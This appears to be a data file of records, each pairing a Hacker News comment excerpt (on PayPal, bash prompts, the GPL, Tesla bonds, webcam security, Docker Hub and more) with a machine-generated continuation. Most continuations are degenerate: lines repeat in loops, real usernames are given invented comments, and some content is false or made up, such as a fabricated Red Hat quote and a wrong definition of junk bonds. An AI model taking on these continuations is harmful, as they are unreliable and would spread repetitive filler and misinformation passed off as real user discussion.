_don't_ throw away the world, and client-side\nframeworks that do. (Notice how your javascript state is thrown away everytime\nyou load a new page in the browser). That's a design decision that's made\npossible by the statelessness of HTTP, but not required by it.\n\n~~~\ngbog\nCertainly, but throwing away the world is natural on server side code and it\nmeans that your carefully crafted object don't live long and many of them\ndon't need too be objects, they are micro namespaces for a set of methods. I\nnever tried node.js for real but one good side off it could be that you are\nnot pushed towards objects like you are with Python, Ruby, Java, etc.\n\n------\nleephillips\nThe author refers to this seething criticism of node\n(. html), that I've seen\nbefore, and then just soldiers on without addressing it. I'm not well versed\nenough to know whether Dziuba's analysis is not the mark or not. What do the\njavascript/node experts here have"} +{"output_text": " it)?\n\n~~~\nn_ary\nI think it is not that weird. I think it is just a way to verify identity.\n\n------\njedberg\nI'm not sure why this is a surprise.\n\nPayPal is a for-profit company. They have to make money. They have to make\nmoney by selling you things.\n\nThey have to make money by selling you things that you want to buy.\n\nThey have to make money by", "input_text": "ezerjay\nPaypal provides an effective dispute resolution process and enables customers\nto pay for stuff by explicitly authorizing a payment and without giving away\ntheir payment info to unknown third-parties.\n\n~~~\nthcsa\nI once saw a pdf which listed all the third parties that PayPal shares its\ninformation with. It was more than 30 pages.\n\n~~~\nCharlesColeman\n>> Paypal provides an effective dispute resolution process and enables\ncustomers to pay for stuff by explicitly authorizing a payment and without\ngiving away their payment info to unknown third-parties.\n\n> I once saw a pdf which listed all the third parties that PayPal shares its\n> information with. It was more than 30 pages.\n\nWhat kind of info do they share with those third parties?\n\nI think the GP's point stands, since the \"unknown third-part[y]\" that\ncustomers are usually _most_ concerned about is _the merchant_, which Paypal\ndefinitely doesn't share payment info with (like CC numbers).\n\n~~~\nn_ary\nOfftopic: PayPal shares more than we think it does. I've had issues where\ncertain merchants asked me to confirm identity by sending copy of utility bill\nfor address I had on PayPal account. I thought my address is private so sent a\nbill for my siblings house where I also paid the bills for internet, but they\nreported that address is not same with PayPal, so I argued a bit but\neventually had to send one for correct address. I think that, PayPal doesn't\nshare CVV but merchants can view all personal info attached to my PayPal\naccount.\n\n~~~\nCharlesColeman\nThat doesn't seem too weird to me. Wouldn't most merchants necessarily have\nyour address in order to provide services to you (shipping would definitely\nrequire"} +{"output_text": " a\ncharacter you expect to see in output.\n\n~~~\nchungy\nI did, but I think it's still a bit too subtle.\n\n------\njedberg\nI've been using this for years. I use it to make my prompt look like a\nterminal.\n\n------\njedberg\nI use this to make my prompt look like a terminal.\n\n------\njedberg\nI use this to make my prompt look like a terminal", "input_text": "81fe3e91d92738](https://www.loom.com/share/5eab7cfb4590475a8881fe3e91d92738)\n\n------\nsimias\nI love this article, as a long time ZSH user it's one of these things I've\nalways wondered how they were implemented but never cared to investigate\nmyself. It's really a clever hack too, if I had been asked to implement this\nfeature my default approach would definitely have been to find a way to\nintercept the command's output somehow.\n\n------\nnneonneo\nA slight improvement: adding \"\\\\\\033[K\" to the end, i.e.:\n\n \n \n PROMPT_COMMAND='printf \"\u23ce%$((COLUMNS-1))s\\\\r\\\\033[K\"'\n \n\nkills the extra spaces at the end, which can help alleviate some of the\nweirder line wrapping that occurs when resizing a terminal window.\n\n(I believe zsh uses something like \\033[J${PS1}\\033[K for similar effect).\n\n~~~\nJetSpiegel\nThis is a great addition to the post, thanks for this.\n\n------\nchungy\nThis is such a wonderful little hack, I've placed it into my.bashrc. Thank\nyou!\n\nI did actually modify it a little bit, got rid of the two beginning %s in\nfavor of \u23ce. It's not a character I expect to really happen to end legitimate\noutput of a program, so it seems more than good enough to keep it from being\naccidentally intended.\n\n~~~\nopk\nApply some attributes to it if you want it to be clearer that it isn't"} +{"output_text": " Hat has always maintained that the preferred\n> form for patches is a.tar.gz.\n\n> The Linux kernel is a large and complex project, and it's not practical to\n> expect every contributor to have a full understanding of the entire code\n> base.\n\n> The Linux kernel is a large and complex project, and it's not practical to\n> expect every contributor to have a full understanding of the entire code\n> base.\n\n> The Linux kernel is", "input_text": ". (not saying that's the case here)\n\n[1]: [http://github.com/johnath/beep/](http://github.com/johnath/beep/) [2]:\n[https://wiki.debian.org/UsingQuilt](https://wiki.debian.org/UsingQuilt) [3]:\n[https://sources.debian.org/src/beep/unstable/](https://sources.debian.org/src/beep/unstable/)\n\n~~~\n0x0\nThanks for your detailed reply.\n\nI'm still curious about the general case of GPL and Git. If I were to hack on\nsome GPL-licensed software, my \"preferred form of the work for making\nmodifications\" would hands-down be a.git repository, because all the\nindividual git commits and commitmsgs are important (meta-)information, almost\nas important as the source code files themselves. It also makes collaborating\non improvements much easier when you can work on git commit objects, with\ntheir parent(s) commit hash references. Without those, determining where and\nif a.patch should be applied to a source code dump becomes much harder.\n\nIn other words, if there exists a.git repository for a given piece of\nsoftware, and all one gets is a.tar.gz flat source dump snapshot, I feel\nlike... something has been left out?\n\n~~~\nlwf\nThis came up when RedHat stopped breaking out their patches against the Linux\nkernel: [https://lwn.net/Articles/432012/](https://lwn.net/Articles/432012/)\n\nRelevant parts quoted:\n\n> While there can certainly be arguments about what \"preferred form\" means for\n> source code distributions, Red"} +{"output_text": ".autoblog.com/2017/01/26/mercedes-benz-\nf-cell-sto...](http://www.autoblog.com/2017/01/26/mercedes-benz-f-cell-\nstopped-development-mercedes-benz-ceo/)\n\n~~~\npmlnr\nI know, but I'm not sure if they are the first to do it.\n\n------\njlebrech\nI'm", "input_text": " to\nsupply batteries for one EV model._\n\nPlease point me to a factory that actually produces 35GWh/a ;)\n\n~~~\ndingo_bat\nThat video is awesome, it almost looks like the car factory in minority\nreport!\n\n------\ndemarq\nI would have thought the car would have been a valuable platform for them gain\nknowledge and insight into the electric side of the industry.\n\nIf some years later they decide to start again, they'll have lost significant\nadvantage, and I'm not talking about the technology side of things but the\nrest of the business mix that's involved.\n\n~~~\nskgoa\nThe electric B-class used Tesla drivetrains. Mercedes are switching to their\nown electric drivetrains.\n\n------\nmerb\n> So there\u2019s a tip for everyone \u2013 if you don\u2019t want a dealership to call you\n> back, just tell them you\u2019re looking to buy an EV.\n\nlol.\n\n------\npmlnr\nGood. Now start working on hydrogen-cell, like the Japanese.\n\n~~~\nMagnumOpus\nThey've been working for it for 25 years and have been the first-mover in the\narea: [https://de.wikipedia.org/wiki/Mercedes-\nBenz_NECAR](https://de.wikipedia.org/wiki/Mercedes-Benz_NECAR)\n\nCurrent iteration of their fuel cell efforts:\n[https://en.wikipedia.org/wiki/Mercedes-Benz_F-\nCell](https://en.wikipedia.org/wiki/Mercedes-Benz_F-Cell)\n\nHowever they don't believe in it any more and will likely stop\ndevelopment/research: [http://www"} +{"output_text": " more savvy than I am.\n\n~~~\nlacker\nThanks for the feedback. I'm sorry that you feel that way. We're always\nlooking to improve our security model, and we're always open to feedback.\n\n------\njasonkester\nI'm not sure I understand the point of this.\n\nIf you're using Parse, you're already using the Parse SDK. You're not using\nthe Parse API.\n\nIf you're using the Parse", "input_text": " this is inappropriate for all but the most basic use\ncases.\n\n~~~\nlacker\nHi Scott. Just to clarify, the client API does not use the app's global\ncredentials, but the client credentials which have their access limited in\nseveral ways. One is the per-column access configuration, which lets you set\nup objects where access is restricted to users with the relevant token. The\nother main security restriction is user-based authentication, which ensures\nuser data can only be updated by a client authenticated as that user. The\ncombination of these security methods handle a lot of use cases, and we're\nalways looking to add more security functionality to make more use cases work\nsecurely.\n\nIf you have a specific application in mind, I'd love to chat with you about\nhow it maps onto our security model. Feel free to drop me a line at\nkevin@parse.com.\n\n~~~\nscotth\nI do see \"class\" level permissions, as I mentioned in my previous post, but\nnothing suggesting that finer grain control exists. I do see that you can\nstore data on the authenticated user, which is a good start.\n\nAnd if better security is something that's in the works, that's great. I'm not\nlooking to give you guys a bad name. I just saw this being talked about in the\nstartups I work around, and felt as if some of the less experienced developers\nwere not considering what implications using a service like this might have.\nIt's convenient, I'll give you that -- but instead of facilitating good\nsecurity through its APIs, it obscures the need for it altogether. And from\nwhat I can see, it would be difficult for you guys to encourage good practice\nwithout being heavy handed.\n\nLet's just hope your users are"} +{"output_text": "\n\n* Add a leaderboard\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n* Add a tutorial\n\n*", "input_text": "\nthat sounds like the easiest suggested challenge so far :P\n\n------\ntylerpachal\nI'd like to enrol in a culinary arts class to learn more about cooking! I\nthink a month would be enough time to complete some courses at one of my local\ncolleges.\n\n~~~\nmezod\nthat looks like a good idea! I bet your stomach agrees :P Yeah a month should\ncover you on at least 5 or 10 recipes!\n\n------\nguptabot\nGrow my weekly newsletter to atleast 1000 subs from the current 100:\nwww.tinyletter.com/harshalbot\n\n------\nrodolphoarruda\nI live in S\u00e3o Paulo, Brazil. I would try to get to Ushuaia by car via Chile\nall the way down to the Tierra del Fuego.\n\n~~~\nmezod\nOh boy oh boy, you are one of mine! Roadtrippers for the win! Just do it! How\nmany km do you estimate?\n\n~~~\nrodolphoarruda\nIt's hard to estimate the KMs because you are always making small detours to\nvisit places as you go. In terms of time/duration, the roundtrip takes a full\nmonth, so very much aligned with OP's question.\n\n------\nWorksOfBarry\nI'm gonna spend a lot of the month working on my git client for IBM i.\n\nNew features, documentation and feedback\n\n------\ntdy721\nfinish [http://videopoker.academy](http://videopoker.academy)\n\n* Get a trainer version playable without sign in\n\n* Add history and stats interface\n\n* Work up a tutorial\n\n* Integrate Stripe\n\n* import style + FX"} +{"output_text": "ethroned as the go-to payment\nmethod for the world.\n\n~~~\njedberg\n> I have just described Withdrawals. I haven't even begun to describe the\n> hardship of \"Deposits\", because you're actually in-line with being a quasi-\n> bank, which has another set of licenses, permits and fees.\n\nI'm not sure I understand what you mean by \"quasi-bank\".\n\n~~~\nsnow", "input_text": " they're usually tech savvy\nand might provide an API. You maintain balance with them and they take care of\nthe 'Last Mile' of paying out and are fully licensed (hopefully). They charge\na fee, and depending on Paypal, they pass it unto you or bake it in with their\nmargins. A side note USDNGN has a black market rate that's way better than the\nbanks, maintaining balance with a bank might be less competitive vs finding an\naggregator that can offer you USDNGN black market rates.\n\nThat's the basic gist for the treasury work. Legal work mainly is to actually\nopen a bank account and keeping in line with a country's AMLA and KYC\nregulations are another cost. Otherwise they'll shutdown your bank accounts.\nDepending on the speed/red-tape of the government processes, you'd have to\nbake in legal fees and months of back and forth with government agencies.\n\nI have just described Withdrawals. I haven't even begun to describe the\nhardship of \"Deposits\", because you're actually in-line with being a quasi-\nbank, which has another set of licenses, permits and fees.\n\nThis is just for 1 country. Every country has it's own quirks, what you did\nfor Nigeria cannot be replicated to say, paying out in KRW or IDR. They will\nhave different licenses, legal fees, aggregators and banks, cash pickups, bank\naccount limits/thresholds, that you'll have to sort and scope out. Not to\nmention the amount of local competition. You'll also have to keep tabs of\nchanges in regulation, national holidays or changes in a bank/aggregator's\npolicies.\n\nHopefully this outlines why Paypal cannot be d"} +{"output_text": "att_wulfeck\n> The tax rate on the first $9,700 of income is just over 10 percent.\n\n> The tax rate on the first $9,700 of income is just over 10 percent.\n\n> The tax rate on the first $9,700 of income is just over 10 percent.\n\n> The tax rate on the first $9,700 of income is just over 10 percent.\n\n> The tax rate on the first $9", "input_text": "! I just got a Fitbit for Christmas and these graphs are a\nlot better than the ones on the Fitbit site. The best part is they work on iOS\ndevices unlike the Flash ones that Fitbit uses.\n\n------\nluckysh0t\nlibs:\n\n\\- PayLib (about to be gutted and\nrebuilt)\n\nsites:\n\n\\- Kickstartit \n\n\\- Ghost Messenger \n\nbones:\n\n\\- nltk on app engine \n\n------\ncloudsteam\nMy one and only side project - (WARNING NSFW)\n\n------\nsycren\nCould you share the reasons for your choice in technologies in the stack?\n\ni.e node.js, mongodb, heroku, php, ruby etc.\n\n------\nknes\nBankersBox looks nice! A shame you didn't \"finish it\" with the implementation\nof hashes & co.\n\n~~~\njazzychad\nI'd still like to... or for someone else to! In 10 months nobody has done it,\nso it might be up to me after all.... or it means that nobody really\nwants/needs it. It would be fun as an academic exercise, though.\n\n \nUS Workers Are Paying High Taxes. But Without Any of the Benefits - mjfern\nhttps://jacobinmag.com/2019/04/labor-tax-rates-united-states-health-insurance\n======\nm"} +{"output_text": "\nI think the most important part in the article is that the virus is a\nsymptom, not the cause.\n\n~~~\nPhenomenit\nI agree, but I think it's a symptom of a much larger problem.\n\n------\nm0zg\nI'm not sure if this is a good thing or not. I mean, it's not like the\nauthorities are going to be able to do anything about it.\n\n~~~\nm0zg", "input_text": "ractices entirely. So it might happen again in a region where the government\nhave less control. That's the scary part.\n\nIt's eye-opening that unscientific beliefs are actually endangering lives. It\nwas true for anti-vax, but now we have reached a stage when ignorance reached\na new stage of dangerosity.\n\n~~~\nillumin8\nIt's more than wet markets, although those are obviously dangerous. It's the\ncontinued expansion of human population into rainforests and other wildlife\nareas:\n\n> Yes. EcoHealth Alliance, an NGO, and others, looked at all reported\n> outbreaks since 1940. They came to a fairly solid conclusion that we\u2019re\n> looking at an elevation of spillover events two to three times more than\n> what we saw 40 years earlier. That continues to increase, driven by the huge\n> increase in the human population and our expansion into wildlife areas. The\n> single biggest predictor of spillover events is land-use change\u2014more land\n> going to agriculture and more specifically to livestock production.\n\nThis is not going to be fixed easily. Everything from the deforestation of the\nBrazilian rainforest to Chinese population growth is driving it.\n\n------\nPhenomenit\nI think the most important part in the article is that with the wave of\npopulism and nationalism sweeping the world it's evident that this mindset is\nincapable of solving any real problem on any scale. Even if the virus goes\naway and the economy bounces back we've learned nothing and climate change and\nanother wave of pandemics is upon us.\n\nIt's clear that market capitalism isn't resilient or robust. Our engine must\nalways run on red and sooner or later it's going to brake down.\n\n~~~\nerpellan"} +{"output_text": "-it-comes-to-\nbonds-tesla-s-bonds-are-a-hit-with-investors)\n\n~~~\nnopriorarrests\nI am not sure if you are aware of the difference between junk bonds and\nregular bonds.\n\nJunk bonds are issued by companies that are not expected to make a profit.\nThey are issued to raise money for projects that are not expected to be\nprofitable.\n\nRegular bonds are", "input_text": " million in Q4, its biggest quarterly loss yet\"\n\n~~~\nslg\nTesla's bond offerings are routinely oversubscribed. The market is clearly\nwilling to continue to give them more and more money. I therefore find the\nidea dubious that Tesla needed to be super aggressive with their production\ntargets or else they would run out of cash.\n\n~~~\nnopriorarrests\nIf I recall correctly, their last offering was more or less positioned like\n\"according to our production estimates, this is, probably, last time we ask\ncapital markets for cash infusion\", and it was at the height of excitement\nabout the Model 3.\n\nAs of now, however, these bonds (1.8bln, issued last August) are trading\nunderwater [0]. They will probably tap the market once again this year, and we\nwill see what happen.\n\n[0] [https://www.marketwatch.com/story/teslas-junk-bonds-are-\ntrad...](https://www.marketwatch.com/story/teslas-junk-bonds-are-trading-\nunder-water-and-it-could-spell-trouble-for-elon-musk-2017-11-10)\n\n~~~\nslg\nThose were junk bonds in August. Tesla is still having success with other\ntypes of bonds. Here is a more recent offering from January with lease backed\nbonds [1]. Tesla sold $546m worth but had orders for roughly $7b.\n\n[1] - [https://www.bloomberg.com/news/articles/2018-01-31/when-\nit-c...](https://www.bloomberg.com/news/articles/2018-01-31/when"} +{"output_text": " the microphone.\n\n~~~\njlgaddis\n> _Isn 't this really just a sign of flawed hardware design?_\n\nNo, it's a sign of a company that doesn't care about security.\n\n~~~\njanvidar\nI don't think it's a sign of a company that doesn't care about security.\n\nI think it's a sign of a company that doesn't care about security because\nthey don't care about security.\n\n~~~", "input_text": "\n\nI think that every electronic camera and mic device should have a hard\nswitch/button that physically disables both the camera and mic. Having to use\ntape or a cover does not keep you from being spied on; it only eliminates the\nvisual spying. The attacker can still listen.\n\n~~~\nzyngaro\nSmartphones represent a bigger security risk in that regard. Front facing rear\nfacing, mic all ones personal data, pictures and so on.\n\n~~~\nJohnStrange\nHardly. You put your phone on the desk and it's going to show the ceiling. In\ncontrast to this, people do all kinds of weird things in front of laptops.\nI've even heard once of someone who allegedly masturbated (!) in front of a\nlaptop. Of course, that must have been an extreme outlier...\n\n------\njanvidar\nIsn't this really just a sign of flawed hardware design?\n\nIn my opinion hardware should be designed so that the camera LED lamp should\nalways be lit if the camera is used. If there is a malfunction with the LED,\nthen the camera should also not work. Also there should be a hardware LED for\nwhen the microphone is being used which should work in the same fashion for\nlaptops with built-in microphones.\n\nIn the webcam drivers I have looked at the LED is controlled independently of\ncapturing, although drivers do enable the LED when the camera is used. This\nessentially means that hackers can record and disable the lamp.\n\nI've been considering hacking together some piece of software that will\ncontinuously use the camera (/dev/video) in order to block it for other\napplications, and have it fail with visible alerts if unable to block the\ncamera. Not sure if the same thing can be achieved for"} +{"output_text": "and-climate-change/measuring-reach-and-clp-\nenforcement)\n\n------\njessaustin\nI'm not sure I understand the point of this article. The author seems to be\nsaying that the EU is trying to regulate the use of pesticides, but that\nregulation is not working. Why is that?\n\n~~~\njessaustin\nI guess I'm not understanding the point of this article. The author seems to be", "input_text": "'s an indirect reference:\n\n\u201cI would recommend that pregnant women and children eat organic fruits and\nvegetables and avoid using plastic containers and canned food, especially in\nthe microwave, because containers are usually treated on the inside with\nsubstances and compounds that can leak into the tomato soup and may act as\nendocrine disruptors,\u201d he said.\n\n------\nbased2\nChemicals Legislation\n[http://ec.europa.eu/growth/sectors/chemicals/legislation/ind...](http://ec.europa.eu/growth/sectors/chemicals/legislation/index_en.htm)\n\n[http://ec.europa.eu/growth/single-market/european-\nstandards/...](http://ec.europa.eu/growth/single-market/european-\nstandards/harmonised-standards/pesticide-application-equipment/index_en.htm)\n\nMeasuring REACH and CLP Enforcement - new study Published on: 19/05/2015, Last\nupdate: 20/05/2015 [http://ec.europa.eu/growth/tools-\ndatabases/newsroom/cf/itemd...](http://ec.europa.eu/growth/tools-\ndatabases/newsroom/cf/itemdetail.cfm?item_id=8280&lang=en&title=Measuring-\nREACH-and-CLP-Enforcement---new-study)\n\nsrc: [https://www.theparliamentmagazine.eu/articles/eu-\nmonitoring/...](https://www.theparliamentmagazine.eu/articles/eu-\nmonitoring/dg-environment-"} +{"output_text": " that's it.\n\n~~~\nsaagarjha\n> Running Gatsby does NOT make the whole website run on React. It makes a\n> bunch of HTML pages that are statically served - and that's it.\n\nThat's not true. Gatsby is a static site generator, and it's not just serving\nHTML.\n\n~~~\npcr910303\n> That's not true. Gatsby is a static site generator, and it's", "input_text": ".\n\nLet's go back to server side rendering, a bit of HTML + CSS and JS and we're\ndone.\n\n~~~\nsaagarjha\nThe author had a specific desire for a toggle on a static site, which requires\na bit of persistent state that CSS can't really capture. (FWIW, I don't care\nfor a toggle and match the system theme on my website as well. But dismissing\nthe author's work with your \"few lines of CSS\" fails to account for the fact\nthat this dark mode does something different than yours.)\n\n~~~\nmemco\nThis doesn't capture all the state correctly even. When you first load the\npage, if it is dark mode the XKCD loads a black on white (aka light) image. If\nyou toggle to light mode and back to dark the XKCD comic becomes a black on\nwhite image. The state of image filters isn't consistent in the current\nimplementation.\n\n~~~\nsaagarjha\nOh, I'm not claiming it does it correctly. (In fact, I have another comment\nthat points out another issue:\n[https://news.ycombinator.com/item?id=22924571](https://news.ycombinator.com/item?id=22924571)).\nBut the claim that I was responding to made incorrect assumptions, and the\nbugs in the implementation don't change that.\n\n------\npcr910303\nSeriously! Should every Gatsby blog post on HN have this useless 'React is\noverkill for static sites' talk?\n\n __ __ _Gatsby is a static site generator!_ __ __\n\nRunning Gatsby does NOT make the whole website run on React. It makes a bunch\nof HTML pages that are statically served - and"} +{"output_text": ", which had a lot of software written in machine code.\n\n------\njoezydeco\nI remember the first time I saw a PC-1211 in action. I was in the Army and\nhad a few of these in my office.\n\n------\njoezydeco\nI remember the first time I saw a PC-1211 in action. I was in the Army and\nhad a few of these in my office.\n\n------\njoe", "input_text": "; I used to have TRS\n80 III and 4 so when I saw I box (don't hit me) of model 100s for 10 euros I\nbought it. They're a very nice addition to my museum and batteries last\nforever. The box had 1 Sharp PC-1211 too. Talking about battery life :)\n\nWhat always amuses me is that my computers from around 2000 are not working\nanymore (heck, most laptops I have from the past 10 years are not even booting\nanymore) while computers from my parents basement which are around 30 years\nold just work like they just came from the shop. Even the Philips computers\nfrom that time who had known capacitor issues in the power circuitry work like\ntime didn't happen.\n\n------\nitalophil\nI used an East German version of the KIM (LC80) for lab experiments. In 1999!\nTying in code was slow and debugging even slower, but the hardware I/O was\neasy, no fuzzing around with RS232. Ahhh, good times.\n\n------\nbrudgers\nI spent several weeks during the Summer of '82 living in dorms and taking\ncollege courses at UCF. My suitemate, John, was writing Petman in machine\ncode, on and for his PET 16. An enduring memory for me and one which reminds\nme that there are programmers who are 100 more productive than others - I was\nat the stage of typing in code from magazines.\n\n------\njgrahamc\nWow. I should really dig out more stuff from my box of old programs. This one\nblog post is at almost 100,000 page views.\n\n------\nSoftwareMaven\nAnd this was just a small utility. Then think about things like the Apollo\nprogram"} +{"output_text": " to dockerhub is to use a service like GitLab or Bitbucket,\nwhich have 2FA and other security features.\n\n~~~\ndiNgUrAndI\nI don't think I can trust a service that doesn't have 2FA.\n\n~~~\nlskillen\nI don't think you can trust a service that doesn't have 2FA.\n\n------\njlgaddis\nI'm not sure if this is a good thing or not, but", "input_text": "\n\n~~~\nleowoo91\nMost companies get 2FA after the damage is done..\n\n------\nbamboozled\nYou're probably busy, but you might want to update the splash page on Docker\n[https://hub.docker.com](https://hub.docker.com) to notify users of the\nincident?\n\n------\nblcknight\nI did not get any email but my github is showing dozens of failed login\nattempts over the last 3 days.\n\n~~~\nlugg\nSending 190k emails takes time but please update us here if you don't receive\nin a day or so. - curious if their 190k is accurate or downplay spin.\n\n~~~\nM4v3R\nIt takes around 2 hours to send ~200k emails if you use an external email\ngateway and have good outgoing bandwidth.\n\n------\nOperyl\n[https://status.docker.com](https://status.docker.com) still not a mention.\nWonder how long until it is.\n\n~~~\nahmedalsudani\nThat's the wrong place to track a hack. The status page is concerned with\nuptime, not security.\n\n~~~\nOperyl\nI disagree, destroying a ton of keys breaks stuff.\n\n------\ndiNgUrAndI\nWhat are dockerhub's alternatives? No 2FA. That is bad.\n\n~~~\nlskillen\nAs others have stated you could run your own registry or use an alternative\nservice for private repositories, to minimise or eliminate the attack vector.\n\nBy replicating the images (or packages) that you need into your own account,\nyou can minimise the possibility of a bad actor replacing a well-known image\nwith something untrusted.\n\nAn alternative"} +{"output_text": " not able to raise money\nfrom investors?\n\n2\\. Figure out how much money you need to raise.\n\n3\\. Figure out how much money you need to raise.\n\n4\\. Figure out how much money you need to raise.\n\n5\\. Figure out how much money you need to raise.\n\n6\\. Figure out how much money you need to raise.\n\n7\\. Figure out how much money you need to raise.\n\n8\\. Figure out how", "input_text": "-technical cofounder\", but far less that have the deep, valuable domain\nknowledge being discussed here.\n\n~~~\nbeat\nWell, yeah. Vet your partners. They need to have a realistic and achievable\nidea that makes sense to you. \"Business plan\" becomes their responsibility,\nand it needs to be better than \"collect underpants,???, profit!\", or\n\"Facebook for cats\" or whatever.\n\n------\najcodez\nKeep everything incredibly simple. Follow the standard 10 slide deck pattern.\nFocus on the value your service provides in concrete terms. It\u2019s not the time\nfor subtlety. Spell things out explicitly in big font.\n\nSet the price of shares at $0.10 or a round number. Raise a normal amount of\nmoney like $150k or $250k at a normal valuation like $1M (depends on industry\netc). Get someone close to you to put in any nominal amount like $10k and tell\ninvestors you already have committed funds. If possible use a SAFE contract to\naccept funds faster.\n\nHire a freelance designer to clean up the deck and website home page if that\nis an issue. Ask friends to review both deck and home page. If possible make a\nproduct video walkthrough.\n\nIn meetings keep things friendly. Stick to the plan. Pitch and then ask if\nthey are interested. Answer questions truthfully but in line with\nexpectations. Never complain or give excuses for anything. Follow up\nfrequently because investors are often busy and literally might forget they\nagreed to invest in your co.\n\nSource - closed $250k seed round this month. Woohoo. Back to work.\n\n------\nmodi15\n1\\. First figure out plan B - what happens if you are"} +{"output_text": " trying to be a jerk, I'm just trying to point\nout that the $2k/month figure is a bit misleading.\n\n~~~\npatio11\n_Really? negative points for a post that simply points out the fact that\n$12.50/hr is a lot harder to live on that what the majority of people on here\nwant to make it sound?_\n\nI'm not sure what you're getting at. I'm not saying that $12.50", "input_text": " for $2k/month all in, and the Bay Area would be the\nlast place I'd expect to do so.\n\nI meant \"pays your rent\" quite literally. As in, taking the biggest of your\nfinancial worries away and leaving you only needing to deal with the spending\nmoney part. So you still can't live on your income, but you can coast along\nfor an entire year on $10k savings.\n\nUp to that point, $10k in the bank meant you'd better start scrambling to pick\nup a contract in the next couple months before you run out of money.\n\n~~~\npatio11\n_There aren't many places in the US where you can live for $2k/month all in_\n\n$2,000 / 160 = $12.50, which is substantially higher than the minimum wage in\nall fifty states of the Union, so I'm guessing that there exist at least a few\npeople who are somehow making do...\n\n~~~\nbkmartin\nI'm guessing you've never tried to live on $12.50/hr. And if you take that as\na gross number not a net number its even worse. Sure, people are \"making it\nwork\" but if you aren't single without kids and have zero college debt then\nyou aren't doing it without some sort of assistance. Just because the minimum\nwage is $7.25 or up to $8.55 (depending on the state you live in), doesn't\nmean you can live on it.\n\n~~~\nbkmartin\nReally? negative points for a post that simply points out the fact that\n$12.50/hr is a lot harder to live on that what the majority of people on here\nwant to make it sound? I'm not"} +{"output_text": " dead. He's not going to read this.\n\n~~~\nkarmajunkie\nI'm not sure why you're being so defensive. I'm not trying to be a dick, I'm\njust saying that I think it's a bit of a dick move to be so dismissive of\nsomeone who's gone.\n\n~~~\nauggierose\nI'm not being defensive. I'm just saying that I think it's a bit of a dick\nmove to", "input_text": "? After all,\nthis is where Ruby, as a language, shines!\n\nI bring all this up, because I met Jim at one of the first Ruby conferences I\nhad ever gone to around this time. Though I had been doing Ruby for a couple\nyears, I was relatively new to the conference-going community, and so not part\nof the \"in-crowd\". I remember the highlight of that conference for me was\ntalking with Jim.\n\nHe seemed not to care for the existence of any sort of clique while\nsimultaneously being its unknowing leader. He was very approachable and\nfriendly. But more importantly, he was a great listener and thinker. I\nremember talking with him about my views on TDD and pair-programming (at the\ntime, the view that \"it depends\" was controversial), and how the hype was\nhurting the community. He was one of the few who gave it considerable thought,\nand after discussing it, even encouraged me to give a talk. As someone new to\nthe conference and public developer community, and outside the speaker in-\ncrowd, this was very encouraging.\n\nI had been asking what happened to the joy of just building something in the\ncommunity at that time, but I can honestly say, Jim never lost it.\n\nJim, you'll be missed.\n\n~~~\nauggierose\nI think once you started programming in \"Ruby\", you've given up your right to\ntalk about how to program in the right way. Just saying.\n\n~~~\nkarmajunkie\nI've seen a lot of snide, dickhead comments on HN, but dropping one like that\non a memorial thread for someone like Jim Weirich takes the cake.\n\n~~~\nauggierose\nHe's"} +{"output_text": " based on comments.\n\n~~~\nfreehunter\nI think the problem is that the law is written in such a way that it's\ndifficult to prove that something is a \"comment\" or \"criticism\" or \"commenting\"\nor \"commenting on\" or \"commenting on a\" or \"commenting on a post\" or \"comment\non a post\" or \"comment on a post\" or \"comment on a post\" or \"comment on a", "input_text": "putative buyer).\n\n~~~\n1point2\nAnd there in lies the problem with TOS (or is the problem with the law?) if\none needs to be an attorney to understand them, what hope is there for the\nordinary folk - just saying. No wonder people just click through.\n\n------\nedwinnathaniel\nWatermark the pictures in your blog?\n\nBy the way, I found out that you can watermark all of your images that you're\nabout to upload to Picasa Web via Picasa Desktop (there's an option to do that\nbefore you Sync to Web). I found that feature very useful if you organize your\npictures using Picasa (and show them on your blog).\n\n~~~\nfreehunter\nProblem is, copyright is implied on the part of the creator. It does not need\nto be applied for, nor is there any _requirement_ for a copyright notice.\n\nJust because you didn't watermark your image doesn't mean the copyright now\nbelongs to Pintrest (or imgur, or Google+, or Facebook, etc) because people\nwho didn't hold the copyright and didn't have the standing to give it away\nposted it.\n\n~~~\nicebraining\nAnd that's why you can send a DMCA takedown request and they'll have to take\nit down. I fail to see the problem here.\n\n------\nmtgentry\n'The \u201cpin\u201d button remains inactive until the user types something. Anything.\nMight this count as \u201ccriticizing\u201d or \u201ccommenting\u201d?'\n\nInteresting. I'd like to see a court case further define what constitutes a\n\"comment\" on the web. Other sites do this too, for example Buzzfeed.com's\nentire business model is"} +{"output_text": " just 'hash').\n\n~~~\nthought_alarm\nIt's a picture of a hash.\n\n------\njamesjporter\nI'm surprised that the author didn't mention the \"at sign\" (\u2318) in the\narticle. I've always thought of it as a symbol for \"at\" (as in \"at the\ncomputer\").\n\n~~~\njamesjporter\nI'm not sure if this is the right place to ask this, but", "input_text": " \"Monkey A\" (\u043c\u0430\u0439\u043c\u0443\u043d\u0441\u043a\u043e \u0410)\ni've also heard few people cal it \"rose\" (\u0440\u043e\u0437\u0438\u0447\u043a\u0430)\n\n~~~\ndelian66\nAlso, some people in Bulgaria call the '@' sign \"\u043a\u043b\u044c\u043e\u043c\u0431\u0430\".\n\nAn interesting story about this sign, is that it had been used in a medieval\nBulgarian chronicle dated at 1345. In it, the @ symbol is part of the word\n'\u0410\u043c\u0438\u043d' (amen).\n\n[http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:19-man...](http://bg.wikipedia.org/wiki/%D0%A4%D0%B0%D0%B9%D0%BB:19-manasses-\nchronicle.jpg)\n\n------\nggchappell\nBoth cute and interesting.\n\nNote, however, that the article does not distinguish between what the sign is\n_called_, and how it is _read_. I call it an \"at sign\". I read it \"at\". Now,\nin Dutch it's called a monkey tail (said in Dutch, of course). But that may\nnot be how it is _read_ in Dutch.\n\n------\nthought_alarm\nI can think of a few English pictograms on the standard keyboard:\n\n^ = Hat\n\n* = Star\n\n# = Hash\n\n~ = Squiggle\n\n{ = Curly\n\n~~~\nvacri\nI don't see what 'hash' is a picture of. There is 'cross-hatching' in\nillustration, but that's not the same word (and it's specifically cross-\nhatching, not"} +{"output_text": 